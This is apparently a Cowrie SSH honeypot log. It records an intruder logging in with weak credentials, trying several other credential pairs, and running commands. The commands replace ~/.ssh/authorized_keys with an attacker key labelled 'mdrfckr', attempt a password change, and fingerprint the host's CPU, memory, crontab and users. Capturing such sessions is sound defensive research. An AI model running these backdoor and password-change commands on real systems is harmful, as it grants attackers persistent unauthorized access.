{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:05.408831Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminn","message":"login attempt [admin/adminn] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:05.748224Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:05.943897Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:05.947531Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:05.951973Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.032378Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.219856Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.223263Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.304720Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.309280Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":51838,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bdd6d5b4181","protocol":"ssh","message":"New connection: 186.80.18.158:51838 (10.17.0.5:22) [session: 6bdd6d5b4181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.379299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.384466Z","src_ip":"186.80.18.158","session":"6bdd6d5b4181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.459531Z","src_ip":"186.80.18.158","session":"6bdd6d5b4181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:06.791611Z","src_ip":"186.80.18.158","session":"6bdd6d5b4181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:07.906706Z","src_ip":"186.80.18.158","session":"6bdd6d5b4181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":51852,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc77c42aeb8e","protocol":"ssh","message":"New connection: 186.80.18.158:51852 (10.17.0.5:22) [session: bc77c42aeb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:07.946571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:07.951454Z","src_ip":"186.80.18.158","session":"bc77c42aeb8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:08.030679Z","src_ip":"186.80.18.158","session":"bc77c42aeb8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:08.414133Z","src_ip":"186.80.18.158","session":"bc77c42aeb8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.497833Z","src_ip":"186.80.18.158","session":"bc77c42aeb8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.616215Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.619621Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.700796Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.886261Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminn\\npoT2lf8Dmf3l\\npoT2lf8Dmf3l\"|passwd|bash","message":"CMD: echo -e \"adminn\\npoT2lf8Dmf3l\\npoT2lf8Dmf3l\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.889729Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.893157Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.896674Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a83263961d248a07b4d5b8afedc26c30343fef6ae701cea1eb70c773eef631a9","size":32,"shasum":"a83263961d248a07b4d5b8afedc26c30343fef6ae701cea1eb70c773eef631a9","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a83263961d248a07b4d5b8afedc26c30343fef6ae701cea1eb70c773eef631a9 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:09.976466Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.193539Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminn\\npoT2lf8Dmf3l\\npoT2lf8Dmf3l\\n\"|passwd","message":"CMD: echo \"adminn\\npoT2lf8Dmf3l\\npoT2lf8Dmf3l\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.197049Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/59f9fb6bc142cb9457abff3297c28d94a7c40d6d694f2cc7584b67f079d44509","size":25,"shasum":"59f9fb6bc142cb9457abff3297c28d94a7c40d6d694f2cc7584b67f079d44509","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/59f9fb6bc142cb9457abff3297c28d94a7c40d6d694f2cc7584b67f079d44509 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.277137Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.508705Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.511837Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.590723Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.786765Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.790298Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:10.870186Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.052984Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.056553Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.059048Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.140365Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.334145Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.338036Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.417890Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.597477Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.600360Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.678813Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.870114Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.873562Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:11.953258Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.141622Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.145244Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.226872Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:12.418838Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
